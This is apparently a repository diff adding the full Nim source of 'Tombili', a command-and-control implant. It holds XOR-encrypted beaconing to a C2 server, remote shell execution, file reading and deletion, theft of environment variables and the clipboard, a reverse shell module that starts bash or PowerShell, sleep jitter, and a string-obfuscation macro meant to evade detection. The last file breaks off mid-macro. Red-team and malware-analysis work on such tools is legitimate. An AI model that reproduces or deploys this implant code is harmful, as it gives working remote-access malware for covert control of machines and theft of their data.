|`getclipboard`|Windows|Get the contents of the clipboard||
|
||||||
|
|`kill`|Windows, Linux|Kill the agent||
|
||||||
325
implants/tombili/src/commands.nim
Normal file
325
implants/tombili/src/commands.nim
Normal file
@ -0,0 +1,325 @@
|
|||||||
|
import json
|
||||||
|
|
||||||
|
import shared
|
||||||
|
import utils
|
||||||
|
|
||||||
|
when defined(linux):
|
||||||
|
import linux
|
||||||
|
|
||||||
|
when defined(windows):
|
||||||
|
import windows
|
||||||
|
|
||||||
|
type
|
||||||
|
CommandArgument* = object
|
||||||
|
name*: string
|
||||||
|
arg_type*: string
|
||||||
|
description: string
|
||||||
|
required: bool
|
||||||
|
|
||||||
|
Command* = object
|
||||||
|
command*: string
|
||||||
|
description*: string
|
||||||
|
args*: seq[CommandArgument]
|
||||||
|
function*: proc(task: JsonNode): string
|
||||||
|
|
||||||
|
var commands*: seq[Command] = @[]
|
||||||
|
|
||||||
|
# Load commands
|
||||||
|
when defined(linux):
|
||||||
|
# shell
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("shell"),
|
||||||
|
description: obf("Run a command on the system using /bin/sh"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("command"), arg_type: obf("str"), description: obf("The command to run"), required: true)
|
||||||
|
],
|
||||||
|
function: linux.shell
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# getsleep
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("getsleep"),
|
||||||
|
description: obf("Get the current sleep time"),
|
||||||
|
args: @[],
|
||||||
|
function: shared.getSleep
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# setsleep
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("setsleep"),
|
||||||
|
description: obf("Set the sleep time between callbacks"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("sleep"), arg_type: obf("float"), description: obf("Seconds to sleep for"), required: true),
|
||||||
|
CommandArgument(name: obf("jitter"), arg_type: obf("float"), description: obf("Seconds of jitter"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.setSleep
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# whoami
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("whoami"),
|
||||||
|
description: obf("Get the user that Tombili is running as"),
|
||||||
|
args: @[],
|
||||||
|
function: linux.whoami
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# cat
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("cat"),
|
||||||
|
description: obf("Read the contents of a file"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.cat
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# fileinfo
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("fileinfo"),
|
||||||
|
description: obf("Get information about a file"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.fileinfo
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# mv
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("mv"),
|
||||||
|
description: obf("Move a file or directory"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("source"), arg_type: obf("str"), description: obf("The source file or directory"), required: true),
|
||||||
|
CommandArgument(name: obf("destination"), arg_type: obf("str"), description: obf("The destination file or directory"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.mv
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# rm
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("rm"),
|
||||||
|
description: obf("Delete a file"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to delete"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.rm
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# getenv
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("getenv"),
|
||||||
|
description: obf("Get all environemnt variables"),
|
||||||
|
args: @[],
|
||||||
|
function: shared.getEnv
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# reverseshell
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("reverseshell"),
|
||||||
|
description: obf("Start a reverse shell"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("ip"), arg_type: obf("str"), description: obf("The IP to connect to"), required: true),
|
||||||
|
CommandArgument(name: obf("port"), arg_type: obf("int"), description: obf("The port to connect to"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.reverseShell
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# pid
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("pid"),
|
||||||
|
description: obf("Get the id of the current process"),
|
||||||
|
args: @[],
|
||||||
|
function: shared.pid
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# kill
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("kill"),
|
||||||
|
description: obf("Kill the agent"),
|
||||||
|
args: @[],
|
||||||
|
function: shared.kill
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
when defined(windows):
|
||||||
|
# shell
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("shell"),
|
||||||
|
description: obf("Run a command on the system using cmd"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("command"), arg_type: obf("str"), description: obf("The command to run"), required: true)
|
||||||
|
],
|
||||||
|
function: windows.shell
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# getsleep
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("getsleep"),
|
||||||
|
description: obf("Get the current sleep time"),
|
||||||
|
args: @[],
|
||||||
|
function: shared.getSleep
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# setsleep
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("setsleep"),
|
||||||
|
description: obf("Set the sleep time between callbacks"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("sleep"), arg_type: obf("float"), description: obf("Seconds to sleep for"), required: true),
|
||||||
|
CommandArgument(name: obf("jitter"), arg_type: obf("float"), description: obf("Seconds of jitter"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.setSleep
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# whoami
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("whoami"),
|
||||||
|
description: obf("Get the user that Tombili is running as"),
|
||||||
|
args: @[],
|
||||||
|
function: windows.whoami
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# msgbox
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("msgbox"),
|
||||||
|
description: obf("Display a message box"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("title"), arg_type: obf("str"), description: obf("The title of the message box"), required: true),
|
||||||
|
CommandArgument(name: obf("body"), arg_type: obf("str"), description: obf("The body of the message box"), required: true)
|
||||||
|
],
|
||||||
|
function: windows.msgBox
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# cat
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("cat"),
|
||||||
|
description: obf("Read the contents of a file"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.cat
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# fileinfo
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("fileinfo"),
|
||||||
|
description: obf("Get information about a file"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.fileinfo
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# mv
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("mv"),
|
||||||
|
description: obf("Move a file or directory"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("source"), arg_type: obf("str"), description: obf("The source file or directory"), required: true),
|
||||||
|
CommandArgument(name: obf("directory"), arg_type: obf("str"), description: obf("The destination file or directory"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.mv
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# rm
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("rm"),
|
||||||
|
description: obf("Delete a file"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to delete"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.rm
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# getenv
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("getenv"),
|
||||||
|
description: obf("Get all environemnt variables"),
|
||||||
|
args: @[],
|
||||||
|
function: shared.getEnv
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# getclipboard
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("getclipboard"),
|
||||||
|
description: obf("Get the contents of the clipboard"),
|
||||||
|
args: @[],
|
||||||
|
function: windows.getClipboard
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# reverseshell
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("reverseshell"),
|
||||||
|
description: obf("Start a reverse shell"),
|
||||||
|
args: @[
|
||||||
|
CommandArgument(name: obf("ip"), arg_type: obf("str"), description: obf("The IP to connect to"), required: true),
|
||||||
|
CommandArgument(name: obf("port"), arg_type: obf("int"), description: obf("The port to connect to"), required: true)
|
||||||
|
],
|
||||||
|
function: shared.reverseShell
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# pid
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("pid"),
|
||||||
|
description: obf("Get the id of the current process"),
|
||||||
|
args: @[],
|
||||||
|
function: shared.pid
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# kill
|
||||||
|
commands.add(
|
||||||
|
Command(
|
||||||
|
command: obf("kill"),
|
||||||
|
description: obf("Kill the agent"),
|
||||||
|
args: @[],
|
||||||
|
function: shared.kill
|
||||||
|
)
|
||||||
|
)
|
||||||
133
implants/tombili/src/communication.nim
Normal file
133
implants/tombili/src/communication.nim
Normal file
@ -0,0 +1,133 @@
|
|||||||
|
import httpClient
|
||||||
|
import json
|
||||||
|
import net
|
||||||
|
|
||||||
|
import config
|
||||||
|
import commands
|
||||||
|
import utils
|
||||||
|
|
||||||
|
const
|
||||||
|
ACTION_CHECKIN*: int = 1
|
||||||
|
ACTION_REGISTER*: int = 2
|
||||||
|
ACTION_TASK_RESULT*: int = 3
|
||||||
|
|
||||||
|
STATUS_ERROR*: int = 0
|
||||||
|
STATUS_CONTINUE*: int = 1
|
||||||
|
STATUS_TASKS*: int = 2
|
||||||
|
STATUS_REGISTER*: int = 3
|
||||||
|
STATUS_INVALID*: int = 4
|
||||||
|
|
||||||
|
let client: HttpClient = newHttpClient()
|
||||||
|
let ip: string = $getPrimaryIPAddr()
|
||||||
|
|
||||||
|
when defined(windows):
|
||||||
|
var os: string = obf("windows")
|
||||||
|
|
||||||
|
when defined(linux):
|
||||||
|
var os: string = obf("linux")
|
||||||
|
|
||||||
|
proc xorData(plain: string, key: string): string =
|
||||||
|
result = newString(plain.len)
|
||||||
|
|
||||||
|
for i in 0 ..< plain.len:
|
||||||
|
let plainByte = ord(plain[i])
|
||||||
|
let keyByte = ord(key[i mod key.len])
|
||||||
|
result[i] = chr(plainByte xor keyByte)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
proc sendRegistration*(commands: seq[Command]): int =
|
||||||
|
var payload: JsonNode = %*{
|
||||||
|
obf("implant_id"): IMPLANT_ID,
|
||||||
|
obf("ip"): ip,
|
||||||
|
obf("action"): ACTION_REGISTER,
|
||||||
|
obf("registration"): %*{
|
||||||
|
obf( "os"): os,
|
||||||
|
obf("commands"): []
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for command in commands:
|
||||||
|
var commandJson: JsonNode = %*{
|
||||||
|
obf("command"): command.command,
|
||||||
|
obf("description"): command.description,
|
||||||
|
obf("args"): command.args
|
||||||
|
}
|
||||||
|
payload[obf("registration")][obf("commands")].add(commandJson)
|
||||||
|
|
||||||
|
var encPayload: string = xorData($payload, XOR_KEY)
|
||||||
|
|
||||||
|
var response: string
|
||||||
|
var responseJson: JsonNode
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = client.postContent(SERVER_BASE_URL, encPayload)
|
||||||
|
responseJson = parseJson(xorData(response, XOR_KEY))
|
||||||
|
except:
|
||||||
|
raise newException(ValueError, obf("Invalid registration response"))
|
||||||
|
|
||||||
|
if responseJson[obf("status")].getInt in @[STATUS_ERROR, STATUS_CONTINUE, STATUS_TASKS, STATUS_REGISTER, STATUS_INVALID]:
|
||||||
|
return responseJson[obf("status")].getInt
|
||||||
|
else:
|
||||||
|
raise newException(ValueError, obf("Invalid respose status code"))
|
||||||
|
|
||||||
|
proc sendTaskResult*(taskId: string, taskResult: string): int =
|
||||||
|
var payload: JsonNode = %*{
|
||||||
|
obf("implant_id"): IMPLANT_ID,
|
||||||
|
obf("ip"): ip,
|
||||||
|
obf("action"): ACTION_TASK_RESULT,
|
||||||
|
obf("result"): {
|
||||||
|
obf("task_id"): task_id,
|
||||||
|
obf("result"): taskResult
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var encPayload: string = xorData($payload, XOR_KEY)
|
||||||
|
|
||||||
|
var response: string = client.postContent(SERVER_BASE_URL, encPayload)
|
||||||
|
var responseJson: JsonNode = parseJson(xorData(response, XOR_KEY))
|
||||||
|
|
||||||
|
return responseJson[obf("status")].getInt
|
||||||
|
|
||||||
|
proc checkin*(): void =
|
||||||
|
var payload: JsonNode = %*{
|
||||||
|
obf("implant_id"): IMPLANT_ID,
|
||||||
|
obf("ip"): ip,
|
||||||
|
obf("action"): ACTION_CHECKIN
|
||||||
|
}
|
||||||
|
|
||||||
|
var encPayload: string = xorData($payload, XOR_KEY)
|
||||||
|
|
||||||
|
let response: string = client.postContent(SERVER_BASE_URL, encPayload)
|
||||||
|
let responseJson: JsonNode = parseJson(xorData(response, XOR_KEY))
|
||||||
|
|
||||||
|
when not defined(release):
|
||||||
|
echo "Recieved checkin status: " & $responseJson[obf("status")].getInt
|
||||||
|
|
||||||
|
case responseJson[obf("status")].getInt
|
||||||
|
of STATUS_CONTINUE:
|
||||||
|
discard
|
||||||
|
of STATUS_INVALID:
|
||||||
|
raise newException(ValueError, obf("Data sent to server was invalid"))
|
||||||
|
of STATUS_REGISTER:
|
||||||
|
try:
|
||||||
|
discard sendRegistration(commands.commands)
|
||||||
|
except:
|
||||||
|
discard
|
||||||
|
of STATUS_TASKS:
|
||||||
|
var tasks: seq[JsonNode] = responseJson[obf("tasks")].getElems
|
||||||
|
|
||||||
|
when not defined(release):
|
||||||
|
echo "Recieved tasks: " & $tasks
|
||||||
|
|
||||||
|
for task in tasks:
|
||||||
|
for command in commands.commands:
|
||||||
|
if command.command == task[obf("task")].getStr:
|
||||||
|
var taskResult: string = command.function(task)
|
||||||
|
var taskResultStatus: int = sendTaskResult(task["task_id"].getStr, taskResult)
|
||||||
|
|
||||||
|
if not defined(release):
|
||||||
|
echo "Sent task results for task " & task["task_id"].getStr & " and got status " & $taskResultStatus
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise newException(ValueError, obf("Invalid respose status code"))
|
||||||
10
implants/tombili/src/config.nim
Normal file
10
implants/tombili/src/config.nim
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
import utils
|
||||||
|
|
||||||
|
const
|
||||||
|
IMPLANT_ID*: string = obf("tombili")
|
||||||
|
SERVER_BASE_URL*: string = obf("http://127.0.0.1:3000/")
|
||||||
|
REG_FAIL_LIMIT*: int = 10 # 0 for no limit
|
||||||
|
REG_FAIL_RETRY_SLEEP*: int = 10 # seconds
|
||||||
|
CHECKIN_SLEEP*: int = 10 # seconds
|
||||||
|
CHECKIN_SLEEP_JITTER*: int = 5 # seconds
|
||||||
|
XOR_KEY*: string = obf("asdf") # must be a key in the server's key list
|
||||||
26
implants/tombili/src/linux.nim
Normal file
26
implants/tombili/src/linux.nim
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
import osproc
|
||||||
|
import posix
|
||||||
|
import json
|
||||||
|
|
||||||
|
import utils
|
||||||
|
|
||||||
|
proc shell*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||||
|
var command: string = args[0].getStr
|
||||||
|
|
||||||
|
try:
|
||||||
|
var commandOutput: string
|
||||||
|
(commandOutput, _) = execCmdEx(command)
|
||||||
|
return commandOutput
|
||||||
|
|
||||||
|
except:
|
||||||
|
return obf("Failed to run the command")
|
||||||
|
|
||||||
|
proc whoami*(task: JsonNode): string =
|
||||||
|
try:
|
||||||
|
var passwd: ptr Passwd = getpwuid(geteuid())
|
||||||
|
return obf("Username: ") & $passwd.pw_name & obf("\nUID: ") & $passwd.pw_uid & obf("\nGID: ") & $passwd.pw_gid & obf("\nHome: ") & $passwd.pw_dir & obf("\nShell: ") & $passwd.pw_shell
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to get user info: ") & e.msg
|
||||||
|
|
||||||
55
implants/tombili/src/main.nim
Normal file
55
implants/tombili/src/main.nim
Normal file
@ -0,0 +1,55 @@
|
|||||||
|
import config
|
||||||
|
import communication
|
||||||
|
import commands
|
||||||
|
import sleep
|
||||||
|
|
||||||
|
proc main(): void =
|
||||||
|
var registrationFails: int = 0
|
||||||
|
var status: int
|
||||||
|
|
||||||
|
# Registration loop
|
||||||
|
while true:
|
||||||
|
try:
|
||||||
|
status = sendRegistration(commands.commands)
|
||||||
|
except Exception as e:
|
||||||
|
when not defined(release):
|
||||||
|
echo "Registration failed: " & e.msg
|
||||||
|
registrationFails += 1
|
||||||
|
echo "Registration fails: " & $registrationFails
|
||||||
|
|
||||||
|
status = -1
|
||||||
|
|
||||||
|
when not defined(release):
|
||||||
|
echo "Registration sent, status: " & $status
|
||||||
|
|
||||||
|
if status == STATUS_CONTINUE:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
registrationFails += 1
|
||||||
|
|
||||||
|
when not defined(release):
|
||||||
|
echo "Registration fails: " & $registrationFails
|
||||||
|
|
||||||
|
if registrationFails >= REG_FAIL_LIMIT:
|
||||||
|
when not defined(release):
|
||||||
|
echo "Registration fail limit hit, quitting..."
|
||||||
|
|
||||||
|
quit(0)
|
||||||
|
|
||||||
|
else:
|
||||||
|
doSleep()
|
||||||
|
|
||||||
|
# Checkin loop
|
||||||
|
while true:
|
||||||
|
try:
|
||||||
|
checkin()
|
||||||
|
except Exception as e:
|
||||||
|
when not defined(release):
|
||||||
|
echo "Checkin failed: " & e.msg
|
||||||
|
|
||||||
|
discard
|
||||||
|
|
||||||
|
doSleep()
|
||||||
|
|
||||||
|
if isMainModule:
|
||||||
|
main()
|
||||||
63
implants/tombili/src/revShell.nim
Normal file
63
implants/tombili/src/revShell.nim
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
import net
|
||||||
|
import osproc
|
||||||
|
import streams
|
||||||
|
|
||||||
|
import utils
|
||||||
|
|
||||||
|
type
|
||||||
|
ShellSendData = tuple
|
||||||
|
shellStdOut: Stream
|
||||||
|
socket: Socket
|
||||||
|
|
||||||
|
ShellRecvData = tuple
|
||||||
|
shellStdIn: Stream
|
||||||
|
socket: Socket
|
||||||
|
|
||||||
|
proc shellSend(args: ShellSendData) {.thread.} =
|
||||||
|
var data: string
|
||||||
|
while true:
|
||||||
|
try:
|
||||||
|
data = args.shellStdOut.readLine()
|
||||||
|
args.socket.send(data & "\n")
|
||||||
|
except:
|
||||||
|
discard
|
||||||
|
|
||||||
|
proc shellRecv(args: ShellRecvData) {.thread.} =
|
||||||
|
var data: string
|
||||||
|
while true:
|
||||||
|
data = args.socket.recvLine()
|
||||||
|
|
||||||
|
if data == "" or data == obf("exit"):
|
||||||
|
args.socket.close()
|
||||||
|
break
|
||||||
|
|
||||||
|
args.shellStdIn.writeLine(data & "\n")
|
||||||
|
args.shellStdIn.flush()
|
||||||
|
|
||||||
|
proc startReverseShell*(ip: string, port: int): void =
|
||||||
|
var socket = newSocket()
|
||||||
|
socket.connect(ip, Port(port))
|
||||||
|
|
||||||
|
var shellProcess: Process
|
||||||
|
|
||||||
|
when defined(linux):
|
||||||
|
shellProcess = startProcess(command=obf("/bin/bash"), args=[obf("-i")], options={poStdErrToStdOut})
|
||||||
|
|
||||||
|
when defined(windows):
|
||||||
|
shellProcess = startProcess(command=obf("powershell"), options={poStdErrToStdOut})
|
||||||
|
|
||||||
|
when defined(freebsd):
|
||||||
|
shellProcess = startProcess(command=obf("/bin/sh"), args=["-i"], options={poStdErrToStdOut})
|
||||||
|
|
||||||
|
var shellStdIn = shellProcess.inputStream
|
||||||
|
var shellStdOut = shellProcess.outputStream
|
||||||
|
|
||||||
|
var sendThread: Thread[ShellSendData]
|
||||||
|
var recvThread: Thread[ShellRecvData]
|
||||||
|
|
||||||
|
createThread(sendThread, shellSend, (shellStdOut, socket))
|
||||||
|
createThread(recvThread, shellRecv, (shellStdIn, socket))
|
||||||
|
sendThread.joinThread()
|
||||||
|
recvThread.joinThread()
|
||||||
|
|
||||||
|
shellProcess.close()
|
||||||
145
implants/tombili/src/shared.nim
Normal file
145
implants/tombili/src/shared.nim
Normal file
@ -0,0 +1,145 @@
|
|||||||
|
import json
|
||||||
|
import os
|
||||||
|
import times
|
||||||
|
import threadpool
|
||||||
|
|
||||||
|
import sleep
|
||||||
|
import revShell
|
||||||
|
import utils
|
||||||
|
|
||||||
|
const DATE_FORMAT: string = obf("yyyy-MM-dd'T'HH:mm:ss")
|
||||||
|
|
||||||
|
proc cat*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||||
|
var filePath: string = args[0].getStr
|
||||||
|
|
||||||
|
try:
|
||||||
|
if fileExists(filePath):
|
||||||
|
return readFile(filePath)
|
||||||
|
else:
|
||||||
|
return obf("File does not exists")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to read the file: ") & e.msg
|
||||||
|
|
||||||
|
proc fileInfo*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||||
|
var filePath: string = args[0].getStr
|
||||||
|
|
||||||
|
try:
|
||||||
|
var info: FileInfo = getFileInfo(filePath)
|
||||||
|
|
||||||
|
var kind: string
|
||||||
|
case info.kind:
|
||||||
|
of PathComponent.pcFile:
|
||||||
|
kind = obf("file")
|
||||||
|
of PathComponent.pcLinkToFile:
|
||||||
|
kind = obf("link to file")
|
||||||
|
of PathComponent.pcDir:
|
||||||
|
kind = obf("directory")
|
||||||
|
of PathComponent.pcLinkToDir:
|
||||||
|
kind = obf("link to directory")
|
||||||
|
|
||||||
|
var lastAccessString: string = format(info.lastAccessTime, DATE_FORMAT, utc())
|
||||||
|
var lastWriteString: string = format(info.lastWriteTime, DATE_FORMAT, utc())
|
||||||
|
var creationString: string = format(info.creationTime, DATE_FORMAT, utc())
|
||||||
|
|
||||||
|
return obf("Kind: ") & $kind & obf("\nSize: ") & $info.size & obf("\nLast Access: ") & lastAccessString & obf("\nLast Write: ") & lastWriteString & obf("\nCreated: ") & creationString & obf("\nPermissions: ") & $info.permissions
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to get file info: ") & e.msg
|
||||||
|
|
||||||
|
proc mv*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||||
|
var source: string = args[0].getStr
|
||||||
|
var destination: string = args[1].getStr
|
||||||
|
|
||||||
|
try:
|
||||||
|
if dirExists(source):
|
||||||
|
if dirExists(destination):
|
||||||
|
moveDir(source, destination/splitPath(source).tail)
|
||||||
|
else:
|
||||||
|
moveDir(source, destination)
|
||||||
|
|
||||||
|
elif dirExists(destination):
|
||||||
|
moveFile(source, destination/splitPath(source).tail)
|
||||||
|
else:
|
||||||
|
moveFile(source, destination)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("") & e.msg
|
||||||
|
|
||||||
|
result = obf("Moved ") & source & obf(" to ") & destination
|
||||||
|
|
||||||
|
proc rm*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||||
|
var filePath: string = args[0].getStr
|
||||||
|
|
||||||
|
try:
|
||||||
|
if fileExists(filePath):
|
||||||
|
removeFile(filePath)
|
||||||
|
return obf("Deleted the file")
|
||||||
|
else:
|
||||||
|
return obf("File does not exists")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to read the file: ") & e.msg
|
||||||
|
|
||||||
|
proc getEnv*(task: JsonNode): string =
|
||||||
|
var envVars: string
|
||||||
|
|
||||||
|
try:
|
||||||
|
for key, value in envPairs():
|
||||||
|
envVars = envVars & $key & "=" & $value & "\n"
|
||||||
|
|
||||||
|
return envVars
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to get environment variables: ") & e.msg
|
||||||
|
|
||||||
|
proc getSleep*(task: JsonNode): string =
|
||||||
|
return obf("Sleep time: ") & $sleepTime & obf("\nJitter time: ") & $jitterTime
|
||||||
|
|
||||||
|
proc setSleep*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||||
|
var setSleepTime: int = args[0].getInt
|
||||||
|
var setJitterTime: int = args[1].getInt
|
||||||
|
|
||||||
|
if setSleepTime < 0 or setJitterTime < 0:
|
||||||
|
return obf("Sleep time and jitter time cannot be negative")
|
||||||
|
|
||||||
|
if setJitterTime > setSleepTime:
|
||||||
|
return obf("Jitter time cannot be greater than sleep time")
|
||||||
|
|
||||||
|
sleepTime = setSleepTime
|
||||||
|
jitterTime = setJitterTime
|
||||||
|
|
||||||
|
return obf("Set sleep time to ") & $sleepTime & obf("s with ") & $jitterTime & obf("s of jitter")
|
||||||
|
|
||||||
|
proc reverseShell*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task[obf("args")].getElems
|
||||||
|
var ip: string = args[0].getStr
|
||||||
|
var port: int = args[1].getInt
|
||||||
|
|
||||||
|
try:
|
||||||
|
spawn startReverseShell(ip, port)
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to start the reverse shell: ") & $e.msg
|
||||||
|
|
||||||
|
return "Reverse shell started"
|
||||||
|
|
||||||
|
proc pid*(task: JsonNode): string =
|
||||||
|
try:
|
||||||
|
var pid: int = getCurrentProcessId()
|
||||||
|
return $pid
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to get the PID: ") & e.msg
|
||||||
|
|
||||||
|
proc sleepThenQuit(): void =
|
||||||
|
sleep(1000)
|
||||||
|
quit(0)
|
||||||
|
|
||||||
|
proc kill*(task: JsonNode): string =
|
||||||
|
spawn sleepThenQuit()
|
||||||
|
|
||||||
|
return obf("Killing the agent...")
|
||||||
18
implants/tombili/src/sleep.nim
Normal file
18
implants/tombili/src/sleep.nim
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
import os
|
||||||
|
import random
|
||||||
|
|
||||||
|
import config
|
||||||
|
import utils
|
||||||
|
|
||||||
|
var sleepTime*: int = CHECKIN_SLEEP
|
||||||
|
var jitterTime*: int = CHECKIN_SLEEP_JITTER
|
||||||
|
|
||||||
|
randomize()
|
||||||
|
|
||||||
|
proc doSleep*(): void =
|
||||||
|
var time: int = (sleepTime + rand(jitterTime * -1..jitterTime)) * 1000
|
||||||
|
|
||||||
|
when not defined(release):
|
||||||
|
echo obf("Sleeping for ") & $time & obf("ms")
|
||||||
|
|
||||||
|
sleep(time)
|
||||||
25
implants/tombili/src/utils.nim
Normal file
25
implants/tombili/src/utils.nim
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
import macros, hashes
|
||||||
|
|
||||||
|
# https://github.com/chvancooten/NimPlant/blob/main/client/util/strenc.nim
|
||||||
|
|
||||||
|
type
|
||||||
|
dstring = distinct string
|
||||||
|
|
||||||
|
proc calculate*(s: dstring, key: int): string {.noinline.} =
|
||||||
|
var k = key
|
||||||
|
result = string(s)
|
||||||
|
for i in 0 ..< result.len:
|
||||||
|
for f in [0, 8, 16, 24]:
|
||||||
|
result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF))
|
||||||
|
k = k +% 1
|
||||||
|
|
||||||
|
var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF
|
||||||
|
|
||||||
|
macro obf*(s: untyped): untyped =
|
||||||
|
if len($s) < 1000:
|
||||||
|
var encodedStr = calculate(dstring($s), eCtr)
|
||||||
|
result = quote do:
|
||||||
|
calculate(dstring(`encodedStr`), `eCtr`)
|
||||||
|
eCtr = (eCtr *% 16777619) and 0x7FFFFFFF
|
||||||
|
else:
|
